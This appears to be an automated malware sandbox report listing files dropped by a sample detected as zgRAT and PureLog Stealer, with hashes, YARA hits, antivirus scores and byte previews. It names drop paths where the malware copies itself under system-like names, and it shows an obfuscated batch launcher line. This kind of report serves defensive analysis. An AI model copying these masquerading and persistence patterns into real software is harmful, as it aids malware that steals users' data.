MD5:	3997D7D058AF3C1B6C9ABB57F6FA1F2A
SHA1:	CD38C3EB67E2D09445EB39B66A69B31673C2360C
SHA-256:	B19C5E3261D05C95756D6452048448C4AB30D3179F90CA714DE39ECE0CD72D99
SHA-512:	AD53432C8F8309701E0DC2BA7C885F5088EE69C3073E9D1DE4A3C75CB3C1AF845B43D0A8512AF58BCD425A831EC4F4BCF74FE3918956527DB5A96A88FC003A36
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\PerfDll\hyperProviderSavesinto.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\PerfDll\hyperProviderSavesinto.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 88% Antivirus: Virustotal, Detection: 74%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e................................. ... ....@.. .......................`............@.....................................K.... ..p....................@....................................................... ............... ..H............text...$.... ...................... ..`.rsrc...p.... ......................@....reloc.......@......................@..B........................H...........<.......s......p@..I........................................0..........(.... ........8........E....N......).......8I...(.... ....~u...{\|...:....& ....8....(.... ....~u...{....:....& ....8....(.... ....8........0.......... ........8........E............S...........8)...~....:.... ....~u...{....9....& ....8.......... ....~u...{....:....& ....8....~....(H... .... .... ....s....~....(L....... ....8^...r...ps....z....~....(P...~....(T... ....?.... ....8&.....(....

C:\PerfDll\vvkzdvmSUM14jiAzc.bat

Download File

Process:	C:\Users\user\AppData\Local\Temp\GargantuaN.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	87
Entropy (8bit):	5.275499456592444
Encrypted:	false
SSDEEP:	3:oHQzAqPmIJJG8OrAXIrXul/10OA:kQsfIHGBUYrXC/1BA
MD5:	B23A11797069052E51F71DDF9BCFC4F2
SHA1:	08C3C1D85CB102A92843C2ED82CCCDD8CA26026D
SHA-256:	E026F1D8CED262BF0921EBC7BBC797AA65F3E6E2AD8A62B9F4566CC4AA540A43
SHA-512:	E8C8EF9EF32A415567E27EB467A992868FB836A52CE0F74348CFC3A590BFA3B5E4AC4E37725D0C2B572EEBB42F6BA33DDCB7B513359C6392B71914B7BF03BA26
Malicious:	false
Preview:	%XUeuqrfVNITzMR%%BhrujCqtlkrcOI%..%CWLwux%"C:\PerfDll/hyperProviderSavesinto.exe"%kZbJ%

C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe

Download File

Process:	C:\PerfDll\hyperProviderSavesinto.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1968128
Entropy (8bit):	7.554175262094728
Encrypted:	false
SSDEEP:	24576:wR5wlxvspUb0qtT2YSCeBJxs56NAFUhOcfMxHoktN/c61+bURfTj/PlzBCpEwxl5:wUPKCeJxkBceok7WURfTj/j9wDmm
MD5:	3997D7D058AF3C1B6C9ABB57F6FA1F2A
SHA1:	CD38C3EB67E2D09445EB39B66A69B31673C2360C
SHA-256:	B19C5E3261D05C95756D6452048448C4AB30D3179F90CA714DE39ECE0CD72D99
SHA-512:	AD53432C8F8309701E0DC2BA7C885F5088EE69C3073E9D1DE4A3C75CB3C1AF845B43D0A8512AF58BCD425A831EC4F4BCF74FE3918956527DB5A96A88FC003A36
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe, Author: Joe Security Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe, Author: Joe Security Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 88% Antivirus: Virustotal, Detection: 74%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e................................. ... ....@.. .......................`............@.....................................K.... ..p....................@....................................................... ............... ..H............text...$.... ...................... ..`.rsrc...p.... ......................@....reloc.......@......................@..B........................H...........<.......s......p@..I........................................0..........(.... ........8........E....N......).......8I...(.... ....~u...{\|...:....& ....8....(.... ....~u...{....:....& ....8....(.... ....8........0.......... ........8........E............S...........8)...~....:.... ....~u...{....9....& ....8.......... ....~u...{....:....& ....8....~....(H... .... .... ....s....~....(L....... ....8^...r...ps....z....~....(P...~....(T... ....?.... ....8&.....(....

C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\e3a74901549792

Download File

Process:	C:\PerfDll\hyperProviderSavesinto.exe
File Type:	ASCII text, with very long lines (372), with no line terminators
Category:	dropped
Size (bytes):	372
Entropy (8bit):	5.8403681581324705
Encrypted:	false
SSDEEP:	6:Rtl3vcN87w3UMBTqc+pQdhEZ3JIBh6b5gkKyYl8aHYfykiCSoEfYH5n:RTcN87m7Vqc0Qdhm36Bcb5gkKa3fRUk5
MD5:	2FBD38F1B2C42F8FDA17DE88950BAEEA
SHA1:	16420569F041ADAF0A8A666EE5F02E71E9115B78
SHA-256:	5AD54B6BAB2D4B20373FC46B8447FDDCE47D0C0DD51B24340054E7CCDD511B1E
SHA-512:	33F00E682FF99CE15C590F81945368E34ED7F0348429C2F44F32B7BF4D77ABAD6B4DB41351873FBACC6DC884B8087C3DDC4A82107E94DA01557EB2D15761E56B
Malicious:	false
Preview:	qavOs2MXQUSot5jZ0LiOzlCGbBxN19Z9fjzCOzrb41jlHGPeb5kZGYhEXpwrF8fR4TJJGhKAdHT8Bb9UvSw5ZA3HCuojCAV6WSqy7FY3vj59FiD6pc5xLj24ZBGW3k8dwWmtvKWq43K0E4Cdrr3kEiuwZvY58CAKkbMs6TLfFP2SYBzf9noLqYZNmzT9wbr22APmrUgXgYeypbXY526VXyeMC8FH9LsoiAZYwNypGRpR3kiLc5D3eVeEgDjsOZYUp0QpB8msEQPGIMTca4pEIzJMfV2tnFbq3UlDT2JdTUzOGY5TuHRTuTL0qEKqF2F8ziMykPJiuLuxA5GGZi9fyH6jIvWOsdXaP0YhLHte8tjijY0v8DQh

C:\ProgramData\celaehnmjins\nhxnqwkhmssh.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\GargantuanS.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	5475840
Entropy (8bit):	6.521499958209298
Encrypted:	false
SSDEEP:	98304:v1ECDUbTBOrBu3mhZvUvpldnwq4b17j1EQ/AVEkteJ5ymz6vZL50Xpa:vVUgBu3sUPdob17GQfk45ymGvZt
MD5:	7A568EF3F46D369F3D3FFD68FDF68573
SHA1:	203042A80812E2208C45AA95900172550994D80D
SHA-256:	BB895B0D8E684A48F0E9564B9D7E1323087D4F4664DA134A28A54338BFAB4EA0
SHA-512:	4F08CDD7021BD9AC1922D1252DBF7A2F26C689574FDA7C5A0EAC7DDC1F1138F3A51770B23F5EA23458611851E410FAF5468A7209437E354452C47C13F2BB3ECD
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 81% Antivirus: Virustotal, Detection: 61%, Browse
Preview:	MZx.....................@...................................x...hr......!..L.!This program cannot be run in DOS mode.$..PE..d.....e.........."...........R.....@..........@..............................T...........`.....................................................<.....S.P.....S...............S.x...............................(.......8...........X...x............................text............................... ..`.rdata...'.......(..................@..@.data....R.......R.................@....pdata........S.......S.............@..@.00cfg........S.......S.............@..@.tls..........S.......S.............@....rsrc...P.....S.......S.............@..@.reloc..x.....S.......S.............@..B........................................................................................................................................................................................................................................................................................................

C:\Recovery\24dbde2999530e

Download File

Process:	C:\PerfDll\hyperProviderSavesinto.exe
File Type:	ASCII text, with very long lines (614), with no line terminators
Category:	dropped
Size (bytes):	614
Entropy (8bit):	5.869847775662665
Encrypted:	false
SSDEEP:	12:Nv3kTqjP4+ICeVpJRNYeskT6fr/8Nr2c7gn/umSjt/5fhziUtx65tG16dEa:F3k+HI5fNYIe62Wg/umSR/+ux65aLa
MD5:	19CBF5DB2E33EA2352F8D7F174EC29FA
SHA1:	77DF3CEE51970122409E18B22D78CA9D67DA7697
SHA-256:	F718A294F9B10D4F09ACE961A311CFFE5C6CEF5A68E293EA938ECC3664484143
SHA-512:	DAE739E10036B4F8DE417BAA78D18876778DCF56FB1460497B0D167F86835EFA4F0CEF61CDA40B8519F7DCC93E3992A688401AD4DAEAE9D2BC166ABB75767251
Malicious:	false
Preview:	Y74fdXBQrs2pdxHUD1g6ekkGj02BVmrwP8fxP48wbbJITFCXf3VttCHyWx5ne95EAGZeRTEI3tfDacxeyfgbR8CN1rab8URbfFHMphFLyMz9hDY4Aay9ddwCDMnk3nKibDiUVkzRZUnEIDpxSgahgS8BSEId3eSLCQhdfDiZlhkI0r3AgzSWMmCJFgCQbVX4CbC2fMSO7A59szLkKI7DM59aNYX8BS8QJpGYpBfThDZLqCbQUbGTXUrGcmoGyTNpCp0Ctw5JmogJgxtK7HokMo2y896DWYeNztIBMZhhg6qtyhjo2dJrpndYwBDt01wOJSTwos8hkGEP7IAaaRL2OxiMQuOLVxroKckfOwAJfmGjjNbnAnTjq3AVuHg4dxMwZZFfifMnRBXmr9nDSkKseH7QbOvGQFpsZTJJI6FfbpSpgYouedm3meSRczDTtFWLVoMXzd4WfpRyzStDkAmxdwF5B2rS3wvVTGU1LQ5AiPY6MdcKF9sscjsiiRW7wmds35fs712UFmPNYJshagM4DD2uYvS438N6wpDR7tMOGXm0TeJZiygPZjo0CvUMi8bHYTbtFbjqU8xqaCa3l2VEb7hNAMOMZApI6fcADa

C:\Recovery\9e8d7a4ca61bd9

Download File

Process:	C:\PerfDll\hyperProviderSavesinto.exe
File Type:	ASCII text, with very long lines (553), with no line terminators
Category:	dropped
Size (bytes):	553
Entropy (8bit):	5.893036491694996
Encrypted:	false
SSDEEP:	12:60OyjJ+8unPIn+VzJzs5ZQexwtiV0jBVkUukEHoS:60OyjA8unPI+Ve5qex7C8FkEIS
MD5:	4521F42FB8C267F3E475D816413D0BD2
SHA1:	B1D346E3CF33D84960E119706D5C6E28BF84F243
SHA-256:	B135560624CB2C1A7AB33D3B630F7D4E988880DD09353FEDADD3627A05F29B27
SHA-512:	91EB17B0F0A676FAC40D671FF6F785534FC4284DBDA4E30D4155B91CE0BA6C1BD6BC01E34C40AF79E27D1EF151CF5D5BEA9C8488E9D80A0BDD4D0965928D104C
Malicious:	false
Preview:	Y9u4lQoM0gpqq5ic4kE4RtPzrOaJ8rYCGKNn44SnKE8x2czmWz44dKQou5MW0fOIInkgs4i9SatNvc6OYxwJxei54i39r6xo0zpP2T3bR4mCaC3S887CsEVnEomJBjSWnEX5wrWF3V221gf1pkAt8u6veBKOruasmQZWp7fQm2IXMdviJueaijX3ImbvhIXJ4KQlGIMrFuHGliiAPlE6PAJD2gODfttee9dCMKbAixUxbRRjDaf5Da43AMsk4ILVAnlmEgyFJEYbqVllOo9ENyaEEjC9b1FZl8xyppehmav9CcNolHWQJGHMMhhedyoS880riw6jJccxCbBmWXYTezQe0lmHH9DyvdADmfFzKwHqoUKuf5IGZUxJsV07KybJZnBjb8A1SiIssjzga1mM17Ybp1UQoIpWV7RBSkTh5Qy0LFbIfUgSLPRbOk3jntMJ3wWuSyO0iFRlJiPjaMvUlWKGqzxrrt3LEo7Zsq0rFquG7qSqVUJb81hglQDcBgIyLGgekz0tWEO5mDI9hGVWkcNMGaybnXpjh551JxFgd

C:\Recovery\RuntimeBroker.exe

Download File

Process:	C:\PerfDll\hyperProviderSavesinto.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1968128
Entropy (8bit):	7.554175262094728
Encrypted:	false
SSDEEP:	24576:wR5wlxvspUb0qtT2YSCeBJxs56NAFUhOcfMxHoktN/c61+bURfTj/PlzBCpEwxl5:wUPKCeJxkBceok7WURfTj/j9wDmm
MD5:	3997D7D058AF3C1B6C9ABB57F6FA1F2A
SHA1:	CD38C3EB67E2D09445EB39B66A69B31673C2360C
SHA-256:	B19C5E3261D05C95756D6452048448C4AB30D3179F90CA714DE39ECE0CD72D99
SHA-512:	AD53432C8F8309701E0DC2BA7C885F5088EE69C3073E9D1DE4A3C75CB3C1AF845B43D0A8512AF58BCD425A831EC4F4BCF74FE3918956527DB5A96A88FC003A36
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Recovery\RuntimeBroker.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Recovery\RuntimeBroker.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 88% Antivirus: Virustotal, Detection: 74%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e................................. ... ....@.. .......................`............@.....................................K.... ..p....................@....................................................... ............... ..H............text...$.... ...................... ..`.rsrc...p.... ......................@....reloc.......@......................@..B........................H...........<.......s......p@..I........................................0..........(.... ........8........E....N......).......8I...(.... ....~u...{\|...:....& ....8....(.... ....~u...{....:....& ....8....(.... ....8........0.......... ........8........E............S...........8)...~....:.... ....~u...{....9....& ....8.......... ....~u...{....:....& ....8....~....(H... .... .... ....s....~....(L....... ....8^...r...ps....z....~....(P...~....(T... ....?.... ....8&.....(....

C:\Recovery\WmiPrvSE.exe

Download File

Process:	C:\PerfDll\hyperProviderSavesinto.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1968128
Entropy (8bit):	7.554175262094728
Encrypted:	false
SSDEEP:	24576:wR5wlxvspUb0qtT2YSCeBJxs56NAFUhOcfMxHoktN/c61+bURfTj/PlzBCpEwxl5:wUPKCeJxkBceok7WURfTj/j9wDmm
MD5:	3997D7D058AF3C1B6C9ABB57F6FA1F2A
SHA1:	CD38C3EB67E2D09445EB39B66A69B31673C2360C
SHA-256:	B19C5E3261D05C95756D6452048448C4AB30D3179F90CA714DE39ECE0CD72D99
SHA-512:	AD53432C8F8309701E0DC2BA7C885F5088EE69C3073E9D1DE4A3C75CB3C1AF845B43D0A8512AF58BCD425A831EC4F4BCF74FE3918956527DB5A96A88FC003A36
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Recovery\WmiPrvSE.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Recovery\WmiPrvSE.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 88% Antivirus: Virustotal, Detection: 74%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e................................. ... ....@.. .......................`............@.....................................K.... ..p....................@....................................................... ............... ..H............text...$.... ...................... ..`.rsrc...p.... ......................@....reloc.......@......................@..B........................H...........<.......s......p@..I........................................0..........(.... ........8........E....N......).......8I...(.... ....~u...{\|...:....& ....8....(.... ....~u...{....:....& ....8....(.... ....8........0.......... ........8........E............S...........8)...~....:.... ....~u...{....9....& ....8.......... ....~u...{....:....& ....8....~....(H... .... .... ....s....~....(L....... ....8^...r...ps....z....~....(P...~....(T... ....?.... ....8&.....(....

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\KZcLqgnLvRf.exe.log

Download File

Process:	C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	847
Entropy (8bit):	5.354334472896228
Encrypted:	false
SSDEEP:	24:ML9E4KQwKDE4KGKZI6KhPKIE4TKBGKoZAE4KKUNb:MxHKQwYHKGSI6oPtHTHhAHKKkb
MD5:	9F9FA9EFE67E9BBD165432FA39813EEA
SHA1:	6FE9587FB8B6D9FE9FA9ADE987CB8112C294247A
SHA-256:	4488EA75E0AC1E2DEB4B7FC35D304CAED2F877A7FB4CC6B8755AE13D709CF37B
SHA-512:	F4666179D760D32871DDF54700D6B283AD8DA82FA6B867A214557CBAB757F74ACDFCAD824FB188005C0CEF3B05BF2352B9CA51B2C55AECF762468BB8F5560DB3
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Configuration\915c1ee906bd8dfc15398a4bab4acb48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\db3df155ec9c0595b0198c4487f36ca1\System.Xml.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\hyperProviderSavesinto.exe.log

Download File

Process:	C:\PerfDll\hyperProviderSavesinto.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1830
Entropy (8bit):	5.3661116947161815
Encrypted:	false
SSDEEP:	48:MxHKQwYHKGSI6oPtHTHhAHKKkrJHV1qHGIs0HKGHKlT4vHNpv:iqbYqGSI6oPtzHeqKkt1wmj0qGqZ4vtd
MD5:	F3475F6FF1F713C7C9DAACC1DF623E58
SHA1:	AED39B5923CCC56514F33B73DF64A13706CE0DAE
SHA-256:	3AE4E8E8ADBD758B6E39EA3D7B8E680F3160F6E5D48DAF1F0419236F1978CDCE
SHA-512:	65B0309ABFBEFD2A749F3DEDBEE74CF5160BF42049C8A67AE30DB786092EC3553F1C8F16C5C40004650CB3926C84F061E37C796CA92266F582B3E48D5A237C32
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Configuration\915c1ee906bd8dfc15398a4bab4acb48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\db3df155ec9c0595b0198c4487f36ca1\System.Xml.ni.dll",0..2,"System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyT

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\GargantuaN.exe

Download File

Process:	C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2289873
Entropy (8bit):	7.491711964173027
Encrypted:	false
SSDEEP:	24576:2TbBv5rUyXVIR5wlxvspUb0qtT2YSCeBJxs56NAFUhOcfMxHoktN/c61+bURfTjR:IBJIUPKCeJxkBceok7WURfTj/j9wDmm4
MD5:	B3CEE15E9FDDC0E7DC33069319B549D6
SHA1:	1FF4EF47BA8A0DE9F65EAA389B11D662AEC318DE
SHA-256:	AF6A8E7175A702F8AF26ED414DD0FBF1708F7716EFB33792594149EF12D2431C
SHA-512:	CA402D334E8C7D6DC3FAB0A129C56EF8ED3228B75C7B5BC5B0E5A174B199D37583395CC52D241CAF583ABA46DF388F46E728BCC264F25312F62929AC932809D0
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 53% Antivirus: Virustotal, Detection: 53%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......x_c.<>..<>..<>......1>.......>......$>...I.>>...I../>...I..+>...I...>..5F..7>..5F..;>..<>..)?...I...>...I..=>...I.=>...I..=>..Rich<>..........PE..L..... b............................0........0....@..........................P............@.........................p...4.......P....@....................... ..<#......T............................U..@............0..x....... ....................text............................... ..`.rdata.......0....... ..............@..@.data... G..........................@....didat.......0......................@....rsrc........@......................@..@.reloc..<#... ...$..................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\GargantuanS.exe

Download File

Process:	C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	5475840
Entropy (8bit):	6.521499958209298
Encrypted:	false
SSDEEP:	98304:v1ECDUbTBOrBu3mhZvUvpldnwq4b17j1EQ/AVEkteJ5ymz6vZL50Xpa:vVUgBu3sUPdob17GQfk45ymGvZt
MD5:	7A568EF3F46D369F3D3FFD68FDF68573
SHA1:	203042A80812E2208C45AA95900172550994D80D
SHA-256:	BB895B0D8E684A48F0E9564B9D7E1323087D4F4664DA134A28A54338BFAB4EA0
SHA-512:	4F08CDD7021BD9AC1922D1252DBF7A2F26C689574FDA7C5A0EAC7DDC1F1138F3A51770B23F5EA23458611851E410FAF5468A7209437E354452C47C13F2BB3ECD
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 81% Antivirus: Virustotal, Detection: 61%, Browse
Preview:	MZx.....................@...................................x...hr......!..L.!This program cannot be run in DOS mode.$..PE..d.....e.........."...........R.....@..........@..............................T...........`.....................................................<.....S.P.....S...............S.x...............................(.......8...........X...x............................text............................... ..`.rdata...'.......(..................@..@.data....R.......R.................@....pdata........S.......S.............@..@.00cfg........S.......S.............@..@.tls..........S.......S.............@....rsrc...P.....S.......S.............@..@.reloc..x.....S.......S.............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Y3JYEDyczl

Download File

Process:	C:\PerfDll\hyperProviderSavesinto.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.293660689688185
Encrypted:	false
SSDEEP:	3:N6UWEu+0EAn:N/DuTEA
MD5:	383DFC1B708DABB1113ABA4A4E02C81E
SHA1:	4E1363C0CE2383964530043559CCEAEC6FD4DC18
SHA-256:	CBA3C2487A99506E55707BA678F8045EDC328A215359E5EF813DAB3FAFC50ED6
SHA-512:	C302F006BB94D037F1A90A60368D0F69837391CAA997438CB832F7DA4810BDFBC49BAA8375C22245D34802FD2E19451C21D210687E5A26E73173DD7F8F0874A7
Malicious:	false
Preview:	4041WlTFc13aoPD6aOHV1NAQe

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_f54xiryt.5iz.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_l0wd3t4d.3q0.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mnediovm.vle.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tzrg2sk5.gbv.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\sB1sK52ORC.bat

Download File

Process:	C:\PerfDll\hyperProviderSavesinto.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	176
Entropy (8bit):	5.247378044845812
Encrypted:	false
SSDEEP:	3:mKDDVNGvTVLuVFcROr+jn9mVcL1bG2wOpbRnAdASBktKcKZG1t+kiE2J5xAIWPUV:hCRLuVFOOr+DEqBbOGVAdASKOZG1wknS
MD5:	44ED471A88CA3E3E404EE06B3FED43F4
SHA1:	BDC6A8090B3F507481B40A177B9BE34E98077927
SHA-256:	891F19BF4B1FEF90065D1FB1B21502EEC493BBDE5C64492E559B49223F5E4263
